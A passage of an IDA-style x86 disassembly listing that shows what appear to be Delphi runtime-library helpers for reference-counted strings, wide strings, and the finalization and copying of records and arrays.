; CODE XREF: sub_40004D38+2j ; sub_40004D38+8j retn sub_40004D38 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004D48 proc near ; CODE XREF: sub_40003328+46p ; sub_40007BB4+21p ... test eax, eax jz short loc_40004D4E retn ; --------------------------------------------------------------------------- byte_40004D4D db 0 ; DATA XREF: sub_40004D48:loc_40004D4Eo ; --------------------------------------------------------------------------- loc_40004D4E: ; CODE XREF: sub_40004D48+2j mov eax, offset byte_40004D4D retn sub_40004D48 endp ; =============== S U B R O U T I N E ======================================= sub_40004D54 proc near ; CODE XREF: sub_40004D98j ; sub_40004DA0j mov edx, [eax] test edx, edx jz short loc_40004D92 mov ecx, [edx-8] dec ecx jz short loc_40004D92 push ebx mov ebx, eax mov eax, [edx-4] call sub_40004948 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_40002DFC pop eax mov ecx, [eax-8] dec ecx jl short loc_40004D8F lock dec dword ptr [eax-8] jnz short loc_40004D8F lea eax, [eax-8] call sub_40002C3C loc_40004D8F: ; CODE XREF: sub_40004D54+2Bj ; sub_40004D54+31j mov edx, [ebx] pop ebx loc_40004D92: ; CODE XREF: sub_40004D54+4j ; sub_40004D54+Aj mov eax, edx retn sub_40004D54 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40004D98 proc near ; CODE XREF: sub_40004DE8+9p jmp sub_40004D54 sub_40004D98 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40004DA0 proc near ; CODE XREF: sub_40006958+7Ap ; sub_40016B44+34p ... jmp sub_40004D54 sub_40004DA0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004DA8 proc near ; CODE XREF: sub_40007BF8+47p ; sub_400080B0+20p ... arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_40004DDA mov ebx, [eax-4] test ebx, ebx jz short loc_40004DDA dec edx jl short loc_40004DD2 cmp edx, ebx jge short loc_40004DDA loc_40004DBB: ; CODE XREF: sub_40004DA8+2Cj sub ebx, edx test ecx, ecx jl short loc_40004DDA cmp ecx, ebx jg short loc_40004DD6 loc_40004DC5: ; CODE XREF: sub_40004DA8+30j add edx, eax mov eax, [esp+4+arg_0] call sub_40004974 jmp short loc_40004DE3 ; --------------------------------------------------------------------------- loc_40004DD2: ; CODE XREF: sub_40004DA8+Dj xor edx, edx jmp short loc_40004DBB ; --------------------------------------------------------------------------- loc_40004DD6: ; CODE XREF: sub_40004DA8+1Bj mov ecx, ebx jmp short loc_40004DC5 ; --------------------------------------------------------------------------- loc_40004DDA: ; CODE XREF: sub_40004DA8+3j ; sub_40004DA8+Aj ... mov eax, [esp+4+arg_0] call sub_40004884 loc_40004DE3: ; CODE XREF: sub_40004DA8+28j pop ebx retn 4 sub_40004DA8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40004DE8 proc near ; CODE XREF: sub_40014250+47p ; sub_40014374+44p ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx call sub_40004D98 mov edx, [ebx] test edx, edx jz short loc_40004E2C mov ecx, [edx-4] dec esi jl short loc_40004E2C cmp esi, ecx jge short loc_40004E2C test edi, edi jle short loc_40004E2C sub ecx, esi cmp edi, ecx jle short loc_40004E12 mov edi, ecx loc_40004E12: ; CODE XREF: sub_40004DE8+26j sub ecx, edi add edx, esi lea eax, [edi+edx] call sub_40002DFC mov edx, [ebx] mov eax, ebx mov edx, [edx-4] sub edx, edi call sub_40004F74 loc_40004E2C: ; CODE XREF: sub_40004DE8+12j ; sub_40004DE8+18j ... pop edi pop esi pop ebx retn sub_40004DE8 endp ; =============== S U B R O U T I N E ======================================= sub_40004E30 proc near ; CODE XREF: sub_4000A1CC+240p ; sub_40016D80+3Dp ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch push ebx push esi add esp, 0FFFFFFF0h test edx, edx jz short loc_40004E87 test eax, eax jz short loc_40004E87 mov esi, [edx-4] mov ebx, [eax-4] cmp esi, ebx jl short loc_40004E87 test ebx, ebx jle short loc_40004E87 dec ebx add esi, edx add edx, ebx mov [esp+18h+var_10], esi add eax, ebx mov [esp+18h+var_14], edx neg ebx movzx ecx, byte ptr [eax] mov [esp+18h+var_18], ebx jnz loc_40004F01 sub esi, 2 mov [esp+18h+var_C], esi loc_40004E6F: ; CODE XREF: sub_40004E30+55j ; sub_40004E30+7Bj cmp cl, [edx] jz short loc_40004EB4 cmp cl, [edx+1] jz short loc_40004EC4 add edx, 2 cmp edx, [esp+18h+var_C] jb short loc_40004E8B cmp edx, [esp+18h+var_10] jb short loc_40004E6F loc_40004E87: ; CODE XREF: sub_40004E30+7j ; sub_40004E30+Bj ... xor eax, eax jmp short loc_40004EBB ; --------------------------------------------------------------------------- loc_40004E8B: ; CODE XREF: sub_40004E30+4Fj ; sub_40004E30+75j cmp cl, [edx] jz short loc_40004EB4 cmp cl, [edx+1] jz short loc_40004EC4 cmp cl, [edx+2] jz short loc_40004EB1 cmp cl, [edx+3] jz short loc_40004EC1 add edx, 4 cmp edx, [esp+18h+var_C] jb short loc_40004E8B cmp edx, [esp+18h+var_10] jb short loc_40004E6F xor eax, eax jmp short loc_40004EBB ; --------------------------------------------------------------------------- loc_40004EB1: ; CODE XREF: sub_40004E30+67j add edx, 2 loc_40004EB4: ; CODE XREF: sub_40004E30+41j ; sub_40004E30+5Dj inc edx mov eax, edx sub eax, [esp+18h+var_14] loc_40004EBB: ; CODE XREF: sub_40004E30+59j ; sub_40004E30+7Fj add esp, 10h pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40004EC1: ; CODE XREF: sub_40004E30+6Cj add edx, 2 loc_40004EC4: ; CODE XREF: sub_40004E30+46j ; sub_40004E30+62j add edx, 2 xor eax, eax cmp edx, [esp+18h+var_10] ja short loc_40004ED5 mov eax, edx sub eax, [esp+18h+var_14] loc_40004ED5: ; CODE XREF: sub_40004E30+9Dj add esp, 10h pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40004EDB: ; CODE XREF: sub_40004E30+C5j ; sub_40004E30+E8j cmp cl, [edx] jz short loc_40004F54 cmp cl, [edx+1] jz short loc_40004F27 cmp cl, [edx+2] jz short loc_40004F51 cmp cl, [edx+3] jz short loc_40004F24 add edx, 4 cmp edx, [esp+18h+var_C] jb short loc_40004EDB cmp edx, [esp+18h+var_10] jb short loc_40004F08 xor eax, eax jmp short loc_40004F4B ; --------------------------------------------------------------------------- loc_40004F01: ; CODE XREF: sub_40004E30+32j sub esi, 2 mov [esp+18h+var_C], esi loc_40004F08: ; CODE XREF: sub_40004E30+CBj ; sub_40004E30+EEj cmp cl, [edx] jz short loc_40004F54 loc_40004F0C: ; CODE XREF: sub_40004E30+12Fj cmp cl, [edx+1] jz short loc_40004F27 loc_40004F11: ; CODE XREF: sub_40004E30+103j add edx, 2 cmp edx, [esp+18h+var_C] jb short loc_40004EDB cmp edx, [esp+18h+var_10] jb short loc_40004F08 xor eax, eax jmp short loc_40004F4B ; --------------------------------------------------------------------------- loc_40004F24: ; CODE XREF: sub_40004E30+BCj add edx, 2 loc_40004F27: ; CODE XREF: sub_40004E30+B2j ; sub_40004E30+DFj mov esi, [esp+18h+var_18] loc_40004F2A: ; CODE XREF: sub_40004E30+108j movzx ebx, word ptr [eax+esi] cmp bx, [edx+esi+1] jnz short loc_40004F11 add esi, 2 jl short loc_40004F2A add edx, 2 xor eax, eax cmp edx, [esp+18h+var_10] ja short loc_40004F4B mov eax, edx sub eax, [esp+18h+var_14] loc_40004F4B: ; CODE XREF: sub_40004E30+CFj ; sub_40004E30+F2j ... add esp, 10h pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40004F51: ; CODE XREF: sub_40004E30+B7j add edx, 2 loc_40004F54: ; CODE XREF: sub_40004E30+ADj ; sub_40004E30+DAj mov esi, [esp+18h+var_18] loc_40004F57: ; CODE XREF: sub_40004E30+134j movzx ebx, word ptr [eax+esi] cmp bx, [edx+esi] jnz short loc_40004F0C add esi, 2 jl short loc_40004F57 inc edx mov eax, edx sub eax, [esp+18h+var_14] add esp, 10h pop esi pop ebx retn sub_40004E30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004F74 proc near ; CODE XREF: sub_40002EFC+85p ; sub_400049E0+5Dp ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_40004FC9 mov eax, [ebx] test eax, eax jz short loc_40004FAA cmp dword ptr [eax-8], 1 jnz short loc_40004FAA sub eax, 8 add edx, 9 push eax mov eax, esp call sub_40002C54 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_40004FD2 ; --------------------------------------------------------------------------- loc_40004FAA: ; CODE XREF: sub_40004F74+11j ; sub_40004F74+17j mov eax, edx call sub_40004948 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_40004FC9 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_40004FC4 mov ecx, esi loc_40004FC4: ; CODE XREF: sub_40004F74+4Cj call sub_40002DFC loc_40004FC9: ; CODE XREF: sub_40004F74+Bj ; sub_40004F74+43j mov eax, ebx call sub_40004884 mov [ebx], edi loc_40004FD2: ; CODE XREF: sub_40004F74+34j pop edi pop esi pop ebx retn sub_40004F74 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_40004FE0 loc_40004FD8: ; CODE XREF: sub_40004FE0+Ej ; sub_40005044+21j ... mov al, 1 jmp sub_40002D50 ; END OF FUNCTION CHUNK FOR sub_40004FE0 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40004FE0 proc near ; CODE XREF: sub_400051C0+Fp ; FUNCTION CHUNK AT 40004FD8 SIZE 00000007 BYTES test eax, eax jz short locret_40004FF4 push eax push 0 call sub_40001260 test eax, eax jz loc_40004FD8 locret_40004FF4: ; CODE XREF: sub_40004FE0+2j retn sub_40004FE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004FF8 proc near ; CODE XREF: sub_400051C0+38p xchg edx, [eax] test edx, edx jz short locret_40005004 push edx call sub_40001270 locret_40005004: ; CODE XREF: sub_40004FF8+4j retn sub_40004FF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005008 proc near ; CODE XREF: sub_40005044+6j ; sub_40005044+11j ... mov edx, [eax] test edx, edx jz short locret_4000501C mov dword ptr [eax], 0 push eax push edx call sub_40001270 pop eax locret_4000501C: ; CODE XREF: sub_40005008+4j retn sub_40005008 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005020 proc near ; CODE XREF: sub_40005314+70p ; sub_40011524+B9p ... push ebx push esi mov ebx, eax mov esi, edx loc_40005026: ; CODE XREF: sub_40005020+1Cj mov eax, [ebx] test eax, eax jz short loc_40005038 mov dword ptr [ebx], 0 push eax call sub_40001270 loc_40005038: ; CODE XREF: sub_40005020+Aj add ebx, 4 dec esi jnz short loc_40005026 pop esi pop ebx retn sub_40005020 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005044 proc near ; CODE XREF: sub_40005424+81p ; sub_40005540+61p ... cmp [eax], edx jz short locret_4000506B test edx, edx jz sub_40005008 mov ecx, [edx-4] shr ecx, 1 jz sub_40005008 push ecx push edx push eax call sub_40001268 test eax, eax jz loc_40004FD8 locret_4000506B: ; CODE XREF: sub_40005044+2j retn sub_40005044 endp ; =============== S U B R O U T I N E ======================================= sub_4000506C proc near ; CODE XREF: sub_40005158:loc_40005161j ; sub_40005674+16p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp+1014h+var_1014], edx mov edi, eax test esi, esi jg short loc_4000508E mov eax, edi call sub_40005008 jmp short loc_400050EB ; --------------------------------------------------------------------------- loc_4000508E: ; CODE XREF: sub_4000506C+17j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_400050C1 push esi lea eax, [esp+1018h+var_1010] mov ecx, [esp+1018h+var_1014] mov edx, 7FFh call sub_400049C4 mov ebx, eax test ebx, ebx jle short loc_400050C1 lea edx, [esp+1014h+var_1010] mov eax, edi mov ecx, ebx call sub_400050F8 jmp short loc_400050EB ; --------------------------------------------------------------------------- loc_400050C1: ; CODE XREF: sub_4000506C+2Bj ; sub_4000506C+44j mov ebx, ebp mov eax, edi mov edx, ebx call sub_400051C0 push esi mov eax, [edi] mov ecx, [esp+1018h+var_1014] mov edx, ebx call sub_400049C4 mov ebx, eax test ebx, ebx jge short loc_400050E2 xor ebx, ebx loc_400050E2: ; CODE XREF: sub_4000506C+72j mov eax, edi mov edx, ebx call sub_400051C0 loc_400050EB: ; CODE XREF: sub_4000506C+20j ; sub_4000506C+53j add esp, 1004h pop ebp pop edi pop esi pop ebx retn sub_4000506C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400050F8 proc near ; CODE XREF: sub_4000506C+4Ep ; sub_4000511C:loc_4000514Fj ... test ecx, ecx jz sub_40005008 push eax push ecx push edx call sub_40001260 test eax, eax jz loc_40004FD8 pop edx push dword ptr [edx] mov [edx], eax call sub_40001270 retn sub_400050F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000511C proc near ; CODE XREF: sub_40011524+66p ; sub_40011C18+60p ... xor ecx, ecx test edx, edx jz short loc_4000514F push edx loc_40005123: ; CODE XREF: sub_4000511C+21j cmp cx, [edx] jz short loc_40005148 cmp cx, [edx+2] jz short loc_40005145 cmp cx, [edx+4] jz short loc_40005142 cmp cx, [edx+6] jz short loc_4000513F add edx, 8 jmp short loc_40005123 ; --------------------------------------------------------------------------- loc_4000513F: ; CODE XREF: sub_4000511C+1Cj add edx, 2 loc_40005142: ; CODE XREF: sub_4000511C+16j add edx, 2 loc_40005145: ; CODE XREF: sub_4000511C+10j add edx, 2 loc_40005148: ; CODE XREF: sub_4000511C+Aj mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_4000514F: ; CODE XREF: sub_4000511C+4j jmp sub_400050F8 sub_4000511C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005158 proc near ; CODE XREF: sub_4000D0E8+43p ; sub_4000D158+45p ... xor ecx, ecx test edx, edx jz short loc_40005161 mov ecx, [edx-4] loc_40005161: ; CODE XREF: sub_40005158+4j jmp sub_4000506C sub_40005158 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005168 proc near ; CODE XREF: sub_40005174+Ep ; sub_400051C0+18p ... test eax, eax jz short locret_40005171 mov eax, [eax-4] shr eax, 1 locret_40005171: ; CODE XREF: sub_40005168+2j retn sub_40005168 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40005174 proc near ; CODE XREF: sub_40011524+78p ; sub_400116DC+184p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov edi, ecx mov ebx, edx mov esi, eax mov eax, esi call sub_40005168 cmp ebx, 1 jge short loc_40005190 xor ebx, ebx jmp short loc_40005197 ; --------------------------------------------------------------------------- loc_40005190: ; CODE XREF: sub_40005174+16j dec ebx cmp eax, ebx jge short loc_40005197 mov ebx, eax loc_40005197: ; CODE XREF: sub_40005174+1Aj ; sub_40005174+1Fj test edi, edi jge short loc_4000519F xor eax, eax jmp short loc_400051A7 ; --------------------------------------------------------------------------- loc_4000519F: ; CODE XREF: sub_40005174+25j sub eax, ebx cmp edi, eax jge short loc_400051A7 mov eax, edi loc_400051A7: ; CODE XREF: sub_40005174+29j ; sub_40005174+2Fj mov edx, ebx add edx, edx add edx, esi mov ecx, [ebp+arg_0] xchg eax, ecx call sub_400050F8 pop edi pop esi pop ebx pop ebp retn 4 sub_40005174 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400051C0 proc near ; CODE XREF: sub_4000506C+5Bp ; sub_4000506C+7Ap push ebx push esi push edi mov esi, edx mov edi, eax xor ebx, ebx test esi, esi jle short loc_400051F4 mov eax, esi call sub_40004FE0 mov ebx, eax mov eax, [edi] call sub_40005168 test eax, eax jle short loc_400051F4 cmp esi, eax jge short loc_400051E7 mov eax, esi loc_400051E7: ; CODE XREF: sub_400051C0+23j mov ecx, eax add ecx, ecx mov edx, ebx mov eax, [edi] call sub_40002DFC loc_400051F4: ; CODE XREF: sub_400051C0+Bj ; sub_400051C0+1Fj mov eax, edi mov edx, ebx call sub_40004FF8 pop edi pop esi pop ebx retn sub_400051C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005204 proc near ; CODE XREF: sub_40005234+86p ; sub_40016280+1Dp xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_40005216: ; CODE XREF: sub_40005204+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_40005234 add esi, 8 dec edi jg short loc_40005216 pop edi pop esi pop ebx retn sub_40005204 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40005234 proc near ; CODE XREF: sub_40005204+20p ; sub_40005234+70p test ecx, ecx jz locret_400052C6 push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] xor ecx, ecx cmp al, 0Ah jz short loc_40005274 cmp al, 0Bh jz short loc_40005274 cmp al, 0Ch jz short loc_4000527E cmp al, 0Dh jz short loc_40005291 cmp al, 0Eh jz short loc_400052AF cmp al, 0Fh jz short loc_40005274 cmp al, 11h jz short loc_40005274 mov al, 2 pop edi pop esi pop ebx jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_40005274: ; CODE XREF: sub_40005234+1Cj ; sub_40005234+20j ... mov [ebx], ecx add ebx, 4 dec edi jg short loc_40005274 jmp short loc_400052C3 ; --------------------------------------------------------------------------- loc_4000527E: ; CODE XREF: sub_40005234+24j ; sub_40005234+59j mov [ebx], ecx mov [ebx+4], ecx mov [ebx+8], ecx mov [ebx+0Ch], ecx add ebx, 10h dec edi jg short loc_4000527E jmp short loc_400052C3 ; --------------------------------------------------------------------------- loc_40005291: ; CODE XREF: sub_40005234+28j push ebp mov ebp, edx loc_40005294: ; CODE XREF: sub_40005234+76j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_40005234 dec edi jg short loc_40005294 pop ebp jmp short loc_400052C3 ; --------------------------------------------------------------------------- loc_400052AF: ; CODE XREF: sub_40005234+2Cj push ebp mov ebp, edx loc_400052B2: ; CODE XREF: sub_40005234+8Cj mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_40005204 dec edi jg short loc_400052B2 pop ebp loc_400052C3: ; CODE XREF: sub_40005234+48j ; sub_40005234+5Bj ... pop edi pop esi pop ebx locret_400052C6: ; CODE XREF: sub_40005234+2j retn sub_40005234 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400052C8 proc near ; CODE XREF: sub_40003D4C+12p ; sub_40005314+AFp ... xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_400052DA: ; CODE XREF: sub_400052C8+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_40005314 add esi, 8 dec edi jg short loc_400052DA mov eax, ebx pop edi pop esi pop ebx retn sub_400052C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400052FC proc near ; CODE XREF: sub_40005314+7Cp cmp off_4001A010, 0 jz short loc_4000530C call off_4001A010 retn ; --------------------------------------------------------------------------- loc_4000530C: ; CODE XREF: sub_400052FC+7j mov al, 10h call sub_40002D50 sub_400052FC endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40005314 proc near ; CODE XREF: sub_400052C8+20p ; sub_40005314+99p ... cmp ecx, 0 jz locret_400053FD push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_40005357 cmp al, 0Bh jz short loc_40005374 cmp al, 0Ch jz short loc_4000538B cmp al, 0Dh jz short loc_4000539A cmp al, 0Eh jz short loc_400053B8 cmp al, 0Fh jz loc_400053CE cmp al, 11h jz loc_400053DD jmp loc_400053EE ; --------------------------------------------------------------------------- loc_40005357: ; CODE XREF: sub_40005314+1Cj cmp ecx, 1 mov eax, ebx jg short loc_40005368 call sub_40004884 jmp loc_400053F9 ; --------------------------------------------------------------------------- loc_40005368: ; CODE XREF: sub_40005314+48j mov edx, ecx call sub_400048A8 jmp loc_400053F9 ; --------------------------------------------------------------------------- loc_40005374: ; CODE XREF: sub_40005314+20j cmp ecx, 1 mov eax, ebx jg short loc_40005382 call sub_40005008 jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_40005382: ; CODE XREF: sub_40005314+65j mov edx, ecx call sub_40005020 jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_4000538B: ; CODE XREF: sub_40005314+24j ; sub_40005314+82j mov eax, ebx add ebx, 10h call sub_400052FC dec edi jg short loc_4000538B jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_4000539A: ; CODE XREF: sub_40005314+28j push ebp mov ebp, edx loc_4000539D: ; CODE XREF: sub_40005314+9Fj mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_40005314 dec edi jg short loc_4000539D pop ebp jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_400053B8: ; CODE XREF: sub_40005314+2Cj push ebp mov ebp, edx loc_400053BB: ; CODE XREF: sub_40005314+B5j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_400052C8 dec edi jg short loc_400053BB pop ebp jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_400053CE: ; CODE XREF: sub_40005314+30j ; sub_40005314+C5j mov eax, ebx add ebx, 4 call sub_40006204 dec edi jg short loc_400053CE jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_400053DD: ; CODE XREF: sub_40005314+38j ; sub_40005314+D6j mov eax, ebx mov edx, esi add ebx, 4 call sub_40005B34 dec edi jg short loc_400053DD jmp short loc_400053F9 ; --------------------------------------------------------------------------- loc_400053EE: ; CODE XREF: sub_40005314+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_400053F9: ; CODE XREF: sub_40005314+4Fj ; sub_40005314+5Bj ... pop edi pop esi pop ebx pop eax locret_400053FD: ; CODE XREF: sub_40005314+3j retn sub_40005314 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005400 proc near ; CODE XREF: sub_40005634+1p ; sub_40016784+77p mov ecx, 1 jmp sub_40005314 sub_40005400 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000540C proc near ; CODE XREF: sub_40005424+92p ; sub_40005540+75p cmp off_4001A018, 0 jz short loc_4000541C call off_4001A018 retn ; --------------------------------------------------------------------------- loc_4000541C: ; CODE XREF: sub_4000540C+7j mov al, 10h call sub_40002D50 sub_4000540C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40005424 proc near ; CODE XREF: sub_40005424+CFp ; sub_40005540+ACp push ebx push esi push edi push ebp mov ebx, eax mov esi, edx xor eax, eax mov al, [ecx+1] lea edi, [eax+ecx+0Ah] mov ebp, [edi-4] xor eax, eax mov ecx, [edi-8] push ecx loc_4000543E: ; CODE XREF: sub_40005424+100j mov ecx, [edi+4] sub ecx, eax jle short loc_40005450 mov edx, eax add eax, esi add edx, ebx call sub_40002DFC loc_40005450: ; CODE XREF: sub_40005424+1Fj mov eax, [edi+4] mov edx, [edi] mov edx, [edx] mov cl, [edx] cmp cl, 0Ah jz short loc_4000548F cmp cl, 0Bh jz short loc_400054A0 cmp cl, 0Ch jz short loc_400054B1 cmp cl, 0Dh jz short loc_400054C2 cmp cl, 0Eh jz short loc_400054E2 cmp cl, 0Fh jz loc_400054FB cmp cl, 11h jz loc_4000550C mov al, 2 pop ebp pop edi pop esi pop ebx jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_4000548F: ; CODE XREF: sub_40005424+38j mov edx, [eax+esi] add eax, ebx call sub_400048D8 mov eax, 4 jmp short loc_4000551D ; --------------------------------------------------------------------------- loc_400054A0: ; CODE XREF: sub_40005424+3Dj mov edx, [eax+esi] add eax, ebx call sub_40005044 mov eax, 4 jmp short loc_4000551D ; --------------------------------------------------------------------------- loc_400054B1: ; CODE XREF: sub_40005424+42j lea edx, [eax+esi] add eax, ebx call sub_4000540C mov eax, 10h jmp short loc_4000551D ; --------------------------------------------------------------------------- loc_400054C2: ; CODE XREF: sub_40005424+47j xor ecx, ecx mov cl, [edx+1] push dword ptr [ecx+edx+2] push dword ptr [ecx+edx+6] mov ecx, [ecx+edx+0Ah] mov ecx, [ecx] lea edx, [eax+esi] add eax, ebx call sub_40005540 pop eax jmp short loc_4000551D ; --------------------------------------------------------------------------- loc_400054E2: ; CODE XREF: sub_40005424+4Cj xor ecx, ecx mov cl, [edx+1] mov ecx, [ecx+edx+2] push ecx mov ecx, edx lea edx, [eax+esi] add eax, ebx call sub_40005424 pop eax jmp short loc_4000551D ; --------------------------------------------------------------------------- loc_400054FB: ; CODE XREF: sub_40005424+51j mov edx, [eax+esi] add eax, ebx call sub_4000621C mov eax, 4 jmp short loc_4000551D ; --------------------------------------------------------------------------- loc_4000550C: ; CODE XREF: sub_40005424+5Aj mov ecx, edx mov edx, [eax+esi] add eax, ebx call sub_40005B70 mov eax, 4 loc_4000551D: ; CODE XREF: sub_40005424+7Aj ; sub_40005424+8Bj ... add eax, [edi+4] add edi, 8 dec ebp jnz loc_4000543E pop ecx sub ecx, eax jle short loc_40005539 lea edx, [eax+ebx] add eax, esi call sub_40002DFC loc_40005539: ; CODE XREF: sub_40005424+109j pop ebp pop edi pop esi pop ebx retn sub_40005424 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40005540 proc near ; CODE XREF: sub_40005424+B6p ; sub_40005540+98p ... arg_0 = dword ptr 4 push ebx push esi push edi push ebp mov ebx, eax mov esi, edx mov edi, ecx mov ebp, [esp+10h+arg_0] mov cl, [edi] cmp cl, 0Ah jz short loc_40005586 cmp cl, 0Bh jz short loc_4000559D cmp cl, 0Ch jz short loc_400055B1 cmp cl, 0Dh jz short loc_400055C5 cmp cl, 0Eh jz short loc_400055E6 cmp cl, 0Fh jz loc_40005603 cmp cl, 11h jz loc_40005617 mov al, 2 pop ebp pop edi pop esi pop ebx jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_40005586: ; CODE XREF: sub_40005540+13j ; sub_40005540+56j mov eax, ebx mov edx, [esi] call sub_400048D8 add ebx, 4 add esi, 4 dec ebp jnz short loc_40005586 jmp loc_4000562B ; --------------------------------------------------------------------------- loc_4000559D: ; CODE XREF: sub_40005540+18j ; sub_40005540+6Dj mov eax, ebx mov edx, [esi] call sub_40005044 add ebx, 4 add esi, 4 dec ebp jnz short loc_4000559D jmp short loc_4000562B ; --------------------------------------------------------------------------- loc_400055B1: ; CODE XREF: sub_40005540+1Dj ; sub_40005540+81j mov eax, ebx mov edx, esi call sub_4000540C add ebx, 10h add esi, 10h dec ebp jnz short loc_400055B1 jmp short loc_4000562B ; --------------------------------------------------------------------------- loc_400055C5: ; CODE XREF: sub_40005540+22j xor ecx, ecx mov cl, [edi+1] lea edi, [ecx+edi+2] loc_400055CE: ; CODE XREF: sub_40005540+A2j mov eax, ebx mov edx, esi mov ecx, [edi+8] push dword ptr [edi+4] call sub_40005540 add ebx, [edi] add esi, [edi] dec ebp jnz short loc_400055CE jmp short loc_4000562B ; --------------------------------------------------------------------------- loc_400055E6: ; CODE XREF: sub_40005540+27j ; sub_40005540+BFj mov eax, ebx mov edx, esi mov ecx, edi call sub_40005424 xor eax, eax mov al, [edi+1] add ebx, [eax+edi+2] add esi, [eax+edi+2] dec ebp jnz short loc_400055E6 jmp short loc_4000562B ; --------------------------------------------------------------------------- loc_40005603: ; CODE XREF: sub_40005540+2Cj ; sub_40005540+D3j mov eax, ebx mov edx, [esi] call sub_4000621C add ebx, 4 add esi, 4 dec ebp jnz short loc_40005603 jmp short loc_4000562B ; --------------------------------------------------------------------------- loc_40005617: ; CODE XREF: sub_40005540+35j ; sub_40005540+E9j mov eax, ebx mov edx, [esi] mov ecx, edi call sub_40005B70 add ebx, 4 add esi, 4 dec ebp jnz short loc_40005617 loc_4000562B: ; CODE XREF: sub_40005540+58j ; sub_40005540+6Fj ... pop ebp pop edi pop esi pop ebx retn 4 sub_40005540 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== 